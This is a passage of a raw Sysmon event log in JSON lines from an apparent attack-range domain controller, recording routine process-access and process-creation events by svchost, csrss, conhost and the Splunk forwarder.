11:50:01.640","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2104,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.640\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.640","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2105,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.640\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.640","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2106,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.640\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FE9-5F2D-0000-0010245A0300}\r\nTargetProcessId: 3652\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.640","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FE9-5F2D-0000-0010245A0300}","TargetProcessId":"3652","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":2107,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.752\r\nProcessGuid: {90617006-3FE9-5F2D-0000-0010FF5B0300}\r\nProcessId: 3628\r\nImage: C:\\Windows\\System32\\cmd.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Windows Command Processor\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: Cmd.Exe\r\nCommandLine: C:\\Windows\\system32\\cmd.exe /c \"\"C:\\Program Files\\SplunkUniversalForwarder\\etc\\system\\bin\\powershell2.cmd\" --scheme\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A\r\nParentProcessGuid: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nParentProcessId: 2820\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.752","ProcessGuid":"{90617006-3FE9-5F2D-0000-0010FF5B0300}","Image":"C:\\Windows\\System32\\cmd.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Windows Command Processor","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"Cmd.Exe","CommandLine":"C:\\Windows\\system32\\cmd.exe /c \"\"C:\\Program Files\\SplunkUniversalForwarder\\etc\\system\\bin\\powershell2.cmd\" --scheme\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A","ParentProcessGuid":"{90617006-3FE4-5F2D-0000-0010FE150200}","ParentProcessId":"2820","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2108,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.750\r\nSourceProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nSourceProcessId: 2820\r\nSourceThreadId: 3752\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-3FE9-5F2D-0000-0010FF5B0300}\r\nTargetProcessId: 3628\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7d35e7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7cdcb9|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca4ec|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca0a3|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7c9f0d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6d7908|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6de2ee|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b29fa|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b4274|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e42dc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ec682|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e9959|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+d7f31|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.750","SourceProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","SourceProcessId":"2820","SourceThreadId":"3752","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-3FE9-5F2D-0000-0010FF5B0300}","TargetProcessId":"3628","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7d35e7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7cdcb9|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca4ec|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca0a3|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7c9f0d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6d7908|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6de2ee|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b29fa|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b4274|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e42dc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ec682|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e9959|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+d7f31|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2109,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.750\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE9-5F2D-0000-0010FF5B0300}\r\nTargetProcessId: 3628\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.750","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE9-5F2D-0000-0010FF5B0300}","TargetProcessId":"3628","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2110,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.750\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.750","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2111,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.750\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.750","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2112,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.750\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: 